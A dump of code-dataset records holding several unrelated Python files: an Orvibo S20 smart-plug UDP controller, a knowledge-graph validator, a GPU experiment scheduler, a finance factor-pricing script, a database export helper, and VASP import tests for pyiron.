http://pastebin.com/LfUhsbcS\n \"\"\"\n def __init__(self, host):\n \"\"\" Initialize S20 object.\n\n :param host: IP or hostname of device.\n \"\"\"\n self.host = host\n self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n self._socket.bind(('', PORT))\n (self._mac, self._mac_reversed) = self._discover_mac()\n\n @property\n def on(self):\n \"\"\" State property.\n\n :returns: State of device (on/off).\n \"\"\"\n return self._subscribe()\n\n @on.setter\n def on(self, state):\n \"\"\" Change device state.\n\n :param state: True (on) or False (off).\n \"\"\"\n if state:\n self._turn_on()\n else:\n self._turn_off()\n\n def _discover_mac(self):\n \"\"\" Discovers MAC address of device.\n\n Discovery is done by sending a UDP broadcast.\n All configured devices reply. The response contains\n the MAC address in both needed formats.\n\n :returns: Tuple of MAC address and reversed MAC address.\n \"\"\"\n mac = None\n mac_reversed = None\n cmd = MAGIC + DISCOVERY\n resp = self._udp_transact(cmd, self._discovery_resp,\n broadcast=True, timeout=1.0)\n if resp:\n (mac, mac_reversed) = resp\n if not mac:\n raise S20Exception(\"Couldn't discover {}\".format(self.host))\n return (mac, mac_reversed)\n\n def _subscribe(self):\n \"\"\" Subscribe to the device.\n\n A subscription serves two purposes:\n - Returns state (on/off).\n - Enables state changes on the device\n for a short period of time.\n \"\"\"\n cmd = MAGIC + SUBSCRIBE + self._mac \\\n + PADDING_1 + self._mac_reversed + PADDING_1\n status = self._udp_transact(cmd, self._subscribe_resp)\n if status is not None:\n return status == ON\n else:\n raise S20Exception(\n \"No status could be found for {}\".format(self.host))\n\n def _control(self, state):\n \"\"\" Control device state.\n\n Possible states are ON or OFF.\n\n :param state: Switch to this state.\n \"\"\"\n cmd = MAGIC + CONTROL + self._mac + PADDING_1 + PADDING_2 + state\n _LOGGER.debug(\"Sending new state to %s: %s\", self.host, ord(state))\n ack_state = self._udp_transact(cmd, self._control_resp, state)\n if ack_state is None:\n raise S20Exception(\n \"Device didn't acknowledge control request: {}\".format(\n self.host))\n\n def _discovery_resp(self, data, addr):\n \"\"\" Handle a discovery response.\n\n :param data: Payload.\n :param addr: Address tuple.\n :returns: MAC address tuple.\n \"\"\"\n if self._is_discovery_response(data, addr):\n _LOGGER.debug(\"Discovered MAC of %s\", self.host)\n return (data[7:13], data[19:25])\n return (None, None)\n\n def _subscribe_resp(self, data, addr):\n \"\"\" Handle a subscribe response.\n\n :param data: Payload.\n :param addr: Address tuple.\n :returns: State (ON/OFF)\n \"\"\"\n if self._is_subscribe_response(data, addr):\n status = bytes([data[23]])\n _LOGGER.debug(\"Successfully subscribed to %s, state: %s\",\n self.host, ord(status))\n return status\n\n def _control_resp(self, data, addr, state):\n \"\"\" Handle a control response.\n\n :param data: Payload.\n :param addr: Address tuple.\n :param state: Acknowledged state.\n \"\"\"\n if self._is_control_response(data, addr):\n ack_state = bytes([data[22]])\n if state == ack_state:\n _LOGGER.debug(\"Received state ack from %s, state: %s\",\n self.host, ord(ack_state))\n return ack_state\n\n def _is_discovery_response(self, data, addr):\n \"\"\" Is this a discovery response?\n\n :param data: Payload.\n :param addr: Address tuple.\n \"\"\"\n return data[0:6] == (MAGIC + DISCOVERY_RESP) and addr[0] == self.host\n\n def _is_subscribe_response(self, data, addr):\n \"\"\" Is this a subscribe response?\n\n :param data: Payload.\n :param addr: Address tuple.\n \"\"\"\n return data[0:6] == (MAGIC + SUBSCRIBE_RESP) and addr[0] == self.host\n\n def _is_control_response(self, data, addr):\n \"\"\" Is this a control response?\n\n :param data: Payload.\n :param addr: Address tuple.\n \"\"\"\n return data[0:6] == (MAGIC + CONTROL_RESP) and addr[0] == self.host\n\n def _udp_transact(self, payload, handler, *args,\n broadcast=False, timeout=TIMEOUT):\n \"\"\" Complete a UDP transaction.\n\n UDP is stateless and not guaranteed, so we have to\n take some mitigation steps:\n - Send payload multiple times.\n - Wait for awhile to receive response.\n\n :param payload: Payload to send.\n :param handler: Response handler.\n :param args: Arguments to pass to response handler.\n :param broadcast: Send a broadcast instead.\n :param timeout: Timeout in seconds.\n \"\"\"\n host = self.host\n if broadcast:\n host = '255.255.255.255'\n retval = None\n self._socket.settimeout(timeout)\n for _ in range(RETRIES):\n self._socket.sendto(bytearray(payload), (host, PORT))\n while True:\n try:\n data, addr = self._socket.recvfrom(1024)\n retval = handler(data, addr, *args)\n except socket.timeout:\n break\n if retval:\n break\n return retval\n\n def _turn_on(self):\n \"\"\" Turn on the device. \"\"\"\n if not self._subscribe():\n self._control(ON)\n\n def _turn_off(self):\n \"\"\" Turn off the device. \"\"\"\n if self._subscribe():\n self._control(OFF)\n","sub_path":"orvibo/s20.py","file_name":"s20.py","file_ext":"py","file_size_in_byte":6826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"509394058","text":"import re\n\nimport click\nimport requests\nimport validators\n\nfrom kgx.utils.kgx_utils import get_toolkit\nfrom .prefix_manager import PrefixManager\n\nBIOLINK_MODEL = 'https://biolink.github.io/biolink-model/biolink-model.yaml'\nCONTEXT_JSONLD = 'https://biolink.github.io/biolink-model/context.jsonld'\n\n\nclass Error(object):\n def __init__(self, error_type, message=None):\n self.error_type = error_type\n self.message = message if message is not None else error_type\n\n\nclass NodeError(Error):\n def __init__(self, node, error_type, message=None):\n super().__init__(error_type, message)\n self.node = node\n\n\nclass EdgeError(Error):\n def __init__(self, subject, object, error_type, message=None):\n super().__init__(error_type, message)\n self.subject = subject\n self.object = object\n\n\ndef is_curie(s:str) -> bool:\n return re.match(r'^[^ :]+:[^ :]+$', s)\n\n\nclass Validator(object):\n \"\"\"\n Object for validating a property graph\n \"\"\"\n\n def __init__(self):\n self.toolkit = get_toolkit()\n self.prefix_manager = PrefixManager()\n self.errors = []\n\n try:\n self.jsonld = requests.get(CONTEXT_JSONLD).json()\n except:\n raise Exception('Unable to download jsonld file from {}'.format(CONTEXT_JSONLD))\n\n def ok(self):\n return len(self.errors) == 0\n\n def validate(self, G):\n \"\"\"\n Validate a property graph\n\n Test all node and edge properties plus relationship types are declared\n \"\"\"\n self.validate_categories(G)\n self.validate_edge_labels(G)\n\n self.validate_required_node_properties(G)\n self.validate_node_property_types(G)\n self.validate_node_property_values(G)\n\n self.validate_required_edge_properties(G)\n self.validate_edge_property_types(G)\n self.validate_edge_property_values(G)\n\n def validate_id(self, id):\n if \":\" in id:\n uri = self.prefix_manager.expand(id)\n if uri is None or uri == id:\n self.report(id, \"expansion is identical\")\n else:\n if id not in self.prefix_manager.prefixmap:\n self.report(id, \"no such short form\")\n\n def validate_node_requirements(self, ad):\n node_id = ad.get('id')\n\n self.test(lambda: 'id' in ad, node_id, 'node lacks id attribute')\n self.test(lambda: 'name' in ad, node_id, 'node lacks name attribute')\n success = self.test(lambda: 'category' in ad, node_id, 'node lacks category attribute')\n\n if not success:\n return\n\n category = ad['category']\n\n if isinstance(category, str):\n self.test(lambda: category in self.schema.classes, category, 'node category is invalid')\n elif isinstance(category, (list, tuple, set)):\n for c in category:\n self.test(lambda: c in self.schema.classes, c, 'node category is invalid')\n else:\n self.report(edge_label, f'category is invalid type: {type(category)}')\n\n labels = ad.get('labels')\n\n if labels is not None:\n for label in labels:\n if label not in self.schema.classes:\n self.report(label, 'node label is invalid')\n\n def validate_edge_requirements(self, G, oid, sid, ad):\n \"\"\"\n Checks that an edge has an edge_label, that it's valid and within the\n minimal list, and that the subject and object fall within the edge's\n domain and range.\n \"\"\"\n edge_id = ad.get('id')\n\n self.test(lambda: 'is_defined_by' in ad, edge_id, 'edge lacks is_defined_by attribute')\n self.test(lambda: 'provided_by' in ad, edge_id, 'edge lacks provided_by attribute')\n\n success = self.test(lambda: 'edge_label' in ad, edge_id, 'edge lacks edge_label attribute')\n\n if not success:\n return\n\n edge_label = ad['edge_label']\n\n if not isinstance(edge_label, str):\n self.report(edge_label, f'edge label is invalid type: {type(edge_label)}')\n return\n\n if edge_label not in self.schema.slots:\n self.report(edge_label, 'edge label is invalid')\n return\n\n slot = self.schema.slots[edge_label]\n\n fn = lambda: 'in_subset' in slot and 'translator_minimal' in slot['in_subset']\n self.test(fn, edge_label, 'edge label not in minimal list')\n\n object_category = G.nodes[oid]['category']\n subject_category = G.nodes[sid]['category']\n\n if slot.domain is not None:\n if slot.domain != subject_category:\n self.report(sid, f'{subject_category} is outside of domain of {edge_label}')\n\n if slot.range is not None:\n if slot.range != object_category:\n self.report(oid, f'{object_category} is outside of domain of {edge_label}')\n\n def validate_props(self, ad):\n for p,v in ad.items():\n self.validate_id(p)\n\n def validate_categories(self, G):\n with click.progressbar(G.nodes(data=True), label='validating category for nodes') as bar:\n for n, data in bar:\n categories = data.get('category')\n if categories is None:\n self.log_node_error(n, 'absent category')\n elif not isinstance(categories, list):\n self.log_node_error(n, 'invalid category type', message='category type is {} when it should be {}'.format(type(categories), list))\n else:\n for category in categories:\n if not self.toolkit.is_category(category):\n self.log_node_error(n, 'invalid category', message='{} not in biolink model'.format(category))\n else:\n c = self.toolkit.get_element(category)\n if category != c.name and category in c.aliases:\n self.log_node_error(n, 'alias category', message='should not use alias {} for {}'.format(c.name, category))\n\n def validate_edge_labels(self, G):\n TYPE = 'invalid edge label'\n with click.progressbar(G.edges(data=True), label='validating edge_label for edges') as bar:\n for u, v, data in bar:\n edge_label = data.get('edge_label')\n if edge_label is None:\n self.log_edge_error(u, v, 'absent edge label')\n elif not isinstance(edge_label, str):\n self.log_edge_error(u, v, TYPE, message='edge label type is {} when it should be {}'.format(type(edge_label), str))\n else:\n p = self.toolkit.get_element(edge_label)\n if p is None:\n self.log_edge_error(u, v, TYPE, message='{} not in biolink model'.format(edge_label))\n elif edge_label != p.name and edge_label in p.aliases:\n self.log_edge_error(u, v, TYPE, message='should not use alias {} for {}'.format(p.name, edge_label))\n elif not re.match(r'^[a-z_]*$', edge_label):\n self.log_edge_error(u, v, TYPE, message='\"{}\" is not snake case'.format(edge_label))\n\n def validate_required_node_properties(self, G):\n \"\"\"\n Checks that if a property is required then it is present\n \"\"\"\n TYPE='invalid node property'\n node_properties = self.toolkit.children('node property')\n required_properties = []\n\n for p in node_properties:\n e = self.toolkit.get_element(p)\n if hasattr(e, 'required') and e.required:\n required_properties.append(e.name)\n\n if 'id' in required_properties:\n required_properties.remove('id')\n\n if required_properties == []:\n return\n\n with click.progressbar(G.nodes(data=True), label='validate that required node properties are present') as bar:\n for n, data in bar:\n for p in required_properties:\n if p not in data:\n self.log_node_error(n, TYPE, message='missing required property \"{}\"'.format(p))\n\n def validate_required_edge_properties(self, G):\n \"\"\"\n Checks that if a property is required then it is present\n \"\"\"\n edge_properties = self.toolkit.children('association slot')\n required_properties = []\n\n for p in edge_properties:\n e = self.toolkit.get_element(p)\n if hasattr(e, 'required') and e.required:\n required_properties.append(e.name)\n\n if 'subject' in required_properties:\n required_properties.remove('subject')\n\n if 'object' in required_properties:\n required_properties.remove('object')\n\n if required_properties == []:\n return\n\n with click.progressbar(G.edges(data=True), label='validate that required node properties are present') as bar:\n for u, v, data in bar:\n for p in required_properties:\n if p not in data:\n self.log_edge_error(u, v, 'absent node property', message='missing required property \"{}\"'.format(p))\n\n def validate_node_property_values(self, G):\n TYPE='invalid node property'\n prefixes = set(key for key, value in self.jsonld['@context'].items() if isinstance(value, str))\n with click.progressbar(G.nodes(data=True), label='validate node property values') as bar:\n for n, data in bar:\n if not re.match(r'^[^ :]+:[^ :]+$', n):\n self.log_node_error(n, TYPE, message='identifier \"{}\" does not have curie syntax'.format(n))\n else:\n prefix, _ = n.split(':')\n if prefix not in prefixes:\n self.log_node_error(n, TYPE, message='prefix \"{}\" is not in jsonld: https://biolink.github.io/biolink-model/context.jsonld'.format(prefix))\n\n def validate_edge_property_values(self, G):\n TYPE='invalid edge property'\n prefixes = set(key for key, value in self.jsonld['@context'].items() if isinstance(value, str))\n with click.progressbar(G.edges(data=True), label='validate node property values') as bar:\n for s, o, data in bar:\n if not is_curie(s):\n self.log_edge_error(s, o, TYPE, message='subject \"{}\" does not have curie syntax'.format(s))\n else:\n prefix, _ = s.split(':')\n if prefix not in prefixes:\n self.log_edge_error(s, o, TYPE, message='prefix \"{}\" is not in jsonld: https://biolink.github.io/biolink-model/context.jsonld'.format(prefix))\n\n if not is_curie(o):\n self.log_edge_error(o, TYPE, message='object \"{}\" does not have curie syntax'.format(o))\n else:\n prefix, _ = s.split(':')\n if prefix not in prefixes:\n self.log_edge_error(s, o, TYPE, message='prefix \"{}\" is not in jsonld: https://biolink.github.io/biolink-model/context.jsonld'.format(prefix))\n\n def validate_node_property_types(self, G):\n TYPE = 'invalid node property'\n with click.progressbar(G.nodes(data=True), label='validate node property types') as bar:\n for n, data in bar:\n if not isinstance(n, str):\n self.log_node_error(n, TYPE, message='expect type of id to be str, instead got {}'.format(type(n)))\n\n for key, value in data.items():\n e = self.toolkit.get_element(key)\n if hasattr(e, 'typeof'):\n if e.typeof == 'string' and not isinstance(value, str):\n self.log_node_error(n, TYPE, message='expected type of {} to be str, instead got {}'.format(key, type(value)))\n elif e.typeof == 'uri' and not isinstance(value, str) and not validators.url(value):\n self.log_node_error(n, TYPE, message='value for param {} is not a uri: {}'.format(key, value))\n elif e.typeof == 'double' and not isinstance(value, (int, float)):\n self.log_node_error(n, TYPE, message='expected type of {} to be float, instead got {}'.format(key, type(value)))\n elif e.typeof == 'time':\n # Don't know how to test this yet\n pass\n if hasattr(e, 'multivalued'):\n if e.multivalued:\n if not isinstance(value, list):\n self.log_node_error(n, TYPE, message='expected type of {} to be list, instead got {}'.format(key, type(value)))\n else:\n if isinstance(value, (list, set, tuple)):\n self.log_node_error(n, TYPE, message='{} is not multivalued but was type {}'.format(key, type(value)))\n\n def validate_edge_property_types(self, G):\n TYPE = 'invalid edge property'\n with click.progressbar(G.edges(data=True), label='validate edge property types') as bar:\n for s, o, data in bar:\n if not isinstance(s, str):\n self.log_edge_error(s, o, TYPE, message='expect type of subject to be str, instead got {}'.format(type(s)))\n if not isinstance(o, str):\n self.log_edge_error(s, o, TYPE, message='expect type of subject to be str, instead got {}'.format(type(o)))\n\n for key, value in data.items():\n e = self.toolkit.get_element(key)\n if hasattr(e, 'typeof'):\n if (e.typeof == 'string' or e.typeof == 'uri') and not isinstance(value, str):\n self.log_edge_error(s, o, TYPE, message='expected type of {} to be str, instead got {}'.format(key, type(value)))\n elif e.typeof == 'uri' and not isinstance(value, str) and not validators.url(value):\n self.log_node_error(n, TYPE, message='value for param {} is not a uri: {}'.format(key, value))\n elif e.typeof == 'double' and not isinstance(value, (int, float)):\n self.log_edge_error(s, o, TYPE, message='expected type of {} to be float, instead got {}'.format(key, type(value)))\n elif e.typeof == 'time':\n # Don't know how to test this yet\n pass\n if hasattr(e, 'multivalued'):\n if e.multivalued:\n if not isinstance(value, list):\n self.log_edge_error(s, o, TYPE, message='expected type of {} to be list, instead got {}'.format(key, type(value)))\n else:\n if isinstance(value, (list, set, tuple)):\n self.log_edge_error(s, o, TYPE, message='{} is not multivalued but was type {}'.format(key, type(value)))\n\n def log_edge_error(self, u, v, error_type=None, *, message=None):\n self.errors.append(EdgeError(u, v, error_type, message))\n\n def log_node_error(self, n, error_type=None, *, message=None):\n self.errors.append(NodeError(n, error_type, message))\n","sub_path":"kgx/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":15400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"593352784","text":"from multiprocessing import cpu_count\nimport GPUtil\nimport logging\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nimport random\nimport time\n\ndef job_runner(experiment, lock, run_experiment=True):\n try:\n logging.info(\n f'Processing {experiment.experiment_key} w/ run_experiment = {run_experiment}.'\n )\n if run_experiment:\n experiment.run()\n\n with lock:\n logging.info(f'{experiment.experiment_key} acquired a lock on Google Sheet')\n experiment.analyze()\n experiment.upload_to_gsheet()\n except:\n logging.exception('Got exception in uploading.')\n \n logging.info(f'{experiment.experiment_key} released a lock on Google Sheet')\n logging.info(f'Experiment {experiment.experiment_key} complete.')\n\nclass ExperimentRunnerPool(object):\n def __init__(self, max_workers=10, run_experiment=True):\n self.gpus = GPUtil.getGPUs()\n self.executor = ThreadPoolExecutor(max_workers=max_workers)\n self.blocking_executor = ThreadPoolExecutor(max_workers=1)\n self.taken_gpus = []\n self.lock = threading.Lock()\n self.run_experiment = run_experiment\n\n def submit(self, experiments): \n allocated_exps = []\n while len(allocated_exps) < len(experiments):\n taken_gpus = []\n num_gpus_allocated = 0\n for exp in experiments:\n if exp in allocated_exps:\n continue\n logging.info(f'Trying to allocate resources for {exp.experiment_key}')\n num_gpus = int(exp.parameters['info']['num_gpus'])\n blocking = exp.parameters['info'].pop('blocking', False)\n available_gpus = GPUtil.getAvailable(order = 'first', limit=num_gpus + num_gpus_allocated,\n maxLoad = 0.05, maxMemory = 0.05, includeNan=False, \n excludeID=[], excludeUUID=[]\n )\n logging.info(\n f'Available GPUs: {available_gpus}'\n )\n for t in taken_gpus:\n if t in available_gpus:\n available_gpus.remove(t)\n if len(available_gpus) >= num_gpus:\n logging.info(\n f'Found GPUs {available_gpus} for {exp.experiment_key}' \n f'which needed {num_gpus} GPUs'\n )\n taken_gpus += available_gpus\n \n exp.parameters['info']['gpus'] = (\n ','.join(map(str, available_gpus))\n )\n\n if blocking:\n logging.info(f\"Blocking requested. Submitting {exp.experiment_key} to blocking executor.\")\n self.blocking_executor.submit(\n job_runner, exp, self.lock, run_experiment=self.run_experiment\n )\n allocated_exps.append(exp)\n taken_gpus = []\n self.blocking_executor.shutdown(wait=True)\n else:\n self.executor.submit(\n job_runner, exp, self.lock, run_experiment=self.run_experiment\n )\n allocated_exps.append(exp)\n num_gpus_allocated = len(taken_gpus)\n\n if len(allocated_exps) < len(experiments):\n logging.info(f\"{len(experiments)} experiments remaining. Trying again in 1 minute...\")\n time.sleep(5)\n \n self.executor.shutdown(wait=True)","sub_path":"{{cookiecutter.repo_name}}/runners/experiment_runner_pool.py","file_name":"experiment_runner_pool.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"317784380","text":"# -*-coding: utf-8 -*-\n# Python 3.6\n# Author:Zhang Haitao\n# Email:13163385579@163.com\n# TIME:2018-11-01 11:45\n# NAME:FT_hp-13 zht4.py\nimport pickle\n\nfrom empirical.bootstrap import pricing_assets\nfrom empirical.config_ep import DIR_DM_GTA\nfrom empirical.data_mining_gta.analyse.format_tools import format_s\nfrom empirical.data_mining_gta.analyse.summary_raw_return_and_alpha14 import \\\n _stat_t, _stat_value\nfrom empirical.data_mining_gta.dm_api5 import pricing_all_factors, \\\n get_playing_indicators\nfrom empirical.data_mining_gta.aggregation11 import get_port_ret_rank\nfrom empirical.get_basedata import get_benchmark\nimport pandas as pd\nimport os\n\nfrom tools import multi_process\n\n\ndef create_my_zht4(port_ret):\n tmb=port_ret['g10']-port_ret['g1']\n tmb.name='rank_factor'\n bname='ff3M'\n bench=get_benchmark(bname)\n zht4=pd.concat([bench,tmb],axis=1).dropna()\n return zht4\n\ndef _read_s(name):\n s=pd.read_pickle(os.path.join(DIR_DM_GTA,'port_ret','eq', f'{name}.pkl'))['tb']\n s.name= name\n return s\n\ndef pricing_with_zht4():\n port_ret=get_port_ret_rank(mode=6)\n zht4=create_my_zht4(port_ret)\n bench=zht4.copy()\n\n indicators=get_playing_indicators()\n raw_factors = pd.concat(multi_process(_read_s, indicators, n=20), axis=1,\n sort=True)\n\n base_index = bench.index.intersection(raw_factors.index)\n bench = bench.reindex(base_index)\n raw_factors = raw_factors.reindex(base_index)\n\n result = pricing_assets(bench, raw_factors)\n\n with open(os.path.join(DIR_DM_GTA,'analyse','zht4','pricing_zht4.pkl'),'wb') as f:\n pickle.dump(result,f)\n\ndef summarize():\n result=pickle.load(open(os.path.join(DIR_DM_GTA,'analyse','zht4','pricing_zht4.pkl'),'rb'))\n at=result['alpha_t'].to_frame()\n at.columns=['zht4']\n at['category']=at.index.map(lambda x:x.split('-')[0])\n _tb_t=at.groupby('category')['zht4'].apply(_stat_t).unstack()\n _tb_t.loc['all']=_stat_t(at['zht4'])\n\n\n alpha=result['alpha'].to_frame()\n alpha.columns=['zht4']\n alpha['category']=alpha.index.map(lambda x:x.split('-')[0])\n _tb_a=alpha.groupby('category')['zht4'].apply(_stat_value).unstack()\n _tb_a.loc['all']=_stat_value(alpha['zht4'])\n\n\n #formatter\n for col in ['Mean','Median','Std','Min','Max','ratio of |alpha|>0.5%','ratio of |alpha|>1.0%']:\n _tb_a[col]=format_s(_tb_a[col],precision=2,x100=True)\n\n for col in ['Mean','Median','Std','Min','Max','ratio of |t|>1.96','ratio of |t|>2.57']:\n _tb_t[col]=format_s(_tb_t[col],precision=2,x100=False)\n\n\n _tb_a.to_csv(os.path.join(DIR_DM_GTA,'analyse','zht4','summary_abnormal_alpha.csv'))\n _tb_t.to_csv(os.path.join(DIR_DM_GTA,'analyse','zht4','summary_abnormal_alpha_tvalue.csv'))\n\nif __name__ == '__main__':\n # pricing_with_zht4()\n summarize()\n","sub_path":"empirical/data_mining_gta/13 zht4.py","file_name":"13 zht4.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"609734343","text":"'''\nCreated on 21 Oct 2018\n\n@author: thomasgumbricht\n'''\n\n# Package application imports\n\nfrom geoimagine.postgresdb import PGsession\n\nclass ManageExport(PGsession):\n '''\n DB support for managing regions\n '''\n \n def __init__(self):\n \"\"\" The constructor connects to the database\"\"\"\n \n HOST = 'karttur'\n \n query = self._GetCredentials( HOST )\n\n #Connect to the Postgres Server\n self.session = PGsession.__init__(self,query,'ManageExport')\n \n def _SelectDefaultRegion(self,defregid):\n '''\n '''\n \n query = {'regionid':defregid}\n \n self.cursor.execute(\"SELECT regioncat FROM system.defregions WHERE regionid = '%(regionid)s';\" %query)\n \n rec = self.cursor.fetchone()\n \n return rec\n\n def _SelectComp(self, compQ):\n '''\n '''\n \n querystem = 'SELECT C.source, C.product, B.folder, B.band, B.prefix, C.suffix, C.masked, C.cellnull, C.celltype, B.measure, B.scalefac, B.offsetadd, B.dataunit '\n \n query ='FROM %(system)s.compdefs AS B ' %compQ\n \n querystem = '%s %s ' %(querystem, query)\n \n query ='INNER JOIN %(system)s.compprod AS C ON (B.compid = C.compid)' %compQ\n \n querystem = '%s %s ' %(querystem, query)\n \n querypart = \"WHERE B.folder = '%(folder)s' AND B.band = '%(band)s'\" %compQ\n \n querystem = '%s %s' %(querystem, querypart)\n \n self.cursor.execute(querystem)\n \n records = self.cursor.fetchall()\n \n params = ['source', 'product', 'folder', 'band', 'prefix', 'suffix', 'masked', 'cellnull', 'celltype', 'measure', 'scalefac', 'offsetadd', 'dataunit']\n\n if len(records) == 1:\n \n return dict(zip(params,records[0]))\n \n elif len(records) > 1:\n \n querypart = \"AND C.product = '%(product)s'\" %compQ\n \n querystem = '%s %s' %(querystem, querypart)\n \n self.cursor.execute(querystem)\n \n records = self.cursor.fetchall()\n \n if len(records) == 1:\n \n return dict(zip(params,records[0]))\n \n else:\n \n querypart = \"AND C.suffix = '%(suffix)s'\" %compQ\n \n querystem = '%s %s' %(querystem, querypart)\n \n self.cursor.execute(querystem)\n \n records = self.cursor.fetchall()\n \n if len(records) == 1:\n \n return dict(zip(params,records[0]))\n \n else:\n print ('querystem',querystem)\n print ('records',records)\n ERRORINEXPORT\n\n else:\n print ('querystem',querystem)\n print ('records',records)\n ERRORINEXPORT\n\n def _SelectScalingOld(self,comp):\n '''\n '''\n \n scalingD = self.session.IniSelectScaling(self.process.proc.comp.paramsD[comp])\n \n self.scaling = lambda: None\n \n for key, value in scalingD.items():\n \n setattr(self.scaling, key, value)\n\n def _SelectMovieClock(self,query,paramL):\n '''\n '''\n \n query['cols'] = \",\".join(paramL)\n \n self.cursor.execute(\"SELECT %(cols)s FROM layout.movieclock \\\n WHERE name = '%(name)s';\" %query)\n \n rec = self.cursor.fetchone()\n \n if rec == None:\n \n print (\"SELECT %(cols)s FROM layout.movieclock \\\n WHERE name = '%(name)s';\" %query)\n \n exit('No record for movieclock')\n \n return dict(zip(paramL,rec))\n\n def _SelectLegend(self,comp):\n '''\n '''\n \n legendD = self.session.IniSelectLegend(self.process.proc.comp.paramsD[comp])\n \n self.legend = lambda: None\n \n for key, value in legendD.items():\n setattr(self.legend, key, value)\n\n\n def _SelectModisRegionTiles(self,query):\n '''DUPLICATE FROM modis\n '''\n paramL = ['htile','vtile']\n queryD = {'regionid':query['siteid'], 'regiontype':'site'}\n\n tiles = self._MultiSearch(queryD, paramL, 'modis', 'regions')\n if len(tiles) > 0:\n return tiles\n\n queryD = {'regionid':query['tractid'], 'regiontype':'tract'}\n\n tiles = self._MultiSearch(queryD, paramL, 'modis', 'regions')\n if len(tiles) > 0:\n return tiles\n\n queryD = {'regionid':query['regionid'], 'regiontype':'default'}\n\n tiles = self._MultiSearch(queryD, paramL, 'modis', 'regions')\n if len(tiles) > 0:\n return tiles\n\n def _SelectRegionLonLatExtent(self, regionid, regiontype):\n '''\n '''\n \n query = {'id':regionid}\n \n if regiontype == 'T':\n \n self.cursor.execute(\"SELECT ullon, lllon, ullat, urlat, urlon, lrlon, lllat, lrlat FROM regions.regions WHERE regionid = '%(id)s';\" %query)\n \n elif regiontype == 'D':\n \n self.cursor.execute(\"SELECT ullon, lllon, ullat, urlat, urlon, lrlon, lllat, lrlat FROM system.regions WHERE regionid = '%(id)s';\" %query)\n \n rec = self.cursor.fetchone()\n \n if rec == None:\n \n print (\"SELECT ullon, lllon, ullat, urlat, urlon, lrlon, lllat, lrlat FROM regions.regions WHERE regionid = '%(id)s';\" %query)\n \n return rec\n","sub_path":"export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":5658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"202177187","text":"# coding: utf-8\n# Copyright (c) Max-Planck-Institut für Eisenforschung GmbH - Computational Materials Design (CM) Department\n# Distributed under the terms of \"New BSD License\", see the LICENSE file.\n\nimport unittest\nimport numpy as np\nimport os\nfrom pyiron_atomistics.project import Project\nfrom pyiron_atomistics.vasp.vasp import Vasp\nfrom pyiron_atomistics.vasp.vasprun import VasprunWarning\nfrom pyiron_atomistics.vasp.volumetric_data import VaspVolumetricData\nimport warnings\n\n\nclass TestVaspImport(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.file_location = os.path.dirname(os.path.abspath(__file__))\n cls.project = Project(os.path.join(cls.file_location, \"vasp_import_testing\"))\n\n @classmethod\n def tearDownClass(cls):\n cls.file_location = os.path.dirname(os.path.abspath(__file__))\n project = Project(os.path.join(cls.file_location, \"vasp_import_testing\"))\n project.remove_jobs(recursive=True, silently=True)\n project.remove(enable=True)\n\n def test_import(self):\n folder_path = os.path.join(\n self.file_location, \"../static/vasp_test_files/full_job_sample\"\n )\n self.project.import_from_path(path=folder_path, recursive=False)\n ham = self.project.load(\"full_job_sample\")\n self.assertTrue(ham.status.finished)\n self.assertTrue(isinstance(ham, Vasp))\n self.assertEqual(ham.get_nelect(), 16)\n self.assertTrue(\n np.array_equal(ham.structure.get_initial_magnetic_moments(), [-1, -1])\n )\n self.assertIsInstance(ham.output.unwrapped_positions, np.ndarray)\n\n self.assertEqual(ham[\"output/structure/positions\"][1, 2], 2.7999999999999997 * 0.4999999999999999)\n self.assertEqual(ham[\"output/generic/dft/e_fermi_list\"][-1], 5.9788)\n self.assertEqual(ham[\"output/generic/dft/vbm_list\"][-1], 6.5823)\n self.assertEqual(ham[\"output/generic/dft/cbm_list\"][-1], 6.7396)\n folder_path = os.path.join(\n self.file_location, \"../static/vasp_test_files/full_job_minor_glitch\"\n )\n with warnings.catch_warnings(record=True) as w:\n warnings.simplefilter(\"ignore\")\n warnings.simplefilter(\"always\", category=VasprunWarning)\n self.project.import_from_path(path=folder_path, recursive=False)\n self.assertEqual(len(w), 3)\n ham = self.project.load(\"full_job_minor_glitch\")\n self.assertTrue(ham.status.finished)\n self.assertTrue(isinstance(ham, Vasp))\n self.assertEqual(ham.get_nelect(), 16)\n self.assertIsInstance(ham.output.unwrapped_positions, np.ndarray)\n self.assertEqual(ham[\"output/generic/dft/scf_energy_free\"][0][1], 0.0)\n self.assertEqual(ham[\"output/electronic_structure/occ_matrix\"].shape, (1, 4, 12))\n self.assertEqual(ham[\"output/electronic_structure/eig_matrix\"].shape, (1, 4, 12))\n self.assertEqual(ham._generic_input[\"reduce_kpoint_symmetry\"], ham.reduce_kpoint_symmetry)\n folder_path = os.path.join(\n self.file_location, \"../static/vasp_test_files/full_job_corrupt_potcar\"\n )\n self.project.import_from_path(path=folder_path, recursive=False)\n ham = self.project.load(\"full_job_corrupt_potcar\")\n self.assertTrue(ham.status.finished)\n\n def test_import_bader(self):\n folder_path = os.path.join(\n self.file_location, \"../static/vasp_test_files/bader_test\"\n )\n self.project.import_from_path(path=folder_path, recursive=False)\n ham = self.project.load(\"bader_test\")\n self.assertTrue(np.allclose(ham[\"output/generic/dft/valence_charges\"], [1.0, 1.0, 6.0]))\n # Only check if Bader is installed!\n if os.system(\"bader\") == 0:\n self.assertTrue(np.allclose(ham[\"output/generic/dft/bader_charges\"], [0.928831, 1.018597, -8.403403]))\n\n def test_incar_import(self):\n file_path = os.path.join(\n self.file_location, \"../static/vasp_test_files/incar_samples/INCAR_1\"\n )\n ham = self.project.create_job(self.project.job_type.Vasp, \"incar_import\")\n ham.input.incar.read_input(file_path, ignore_trigger=\"!\")\n 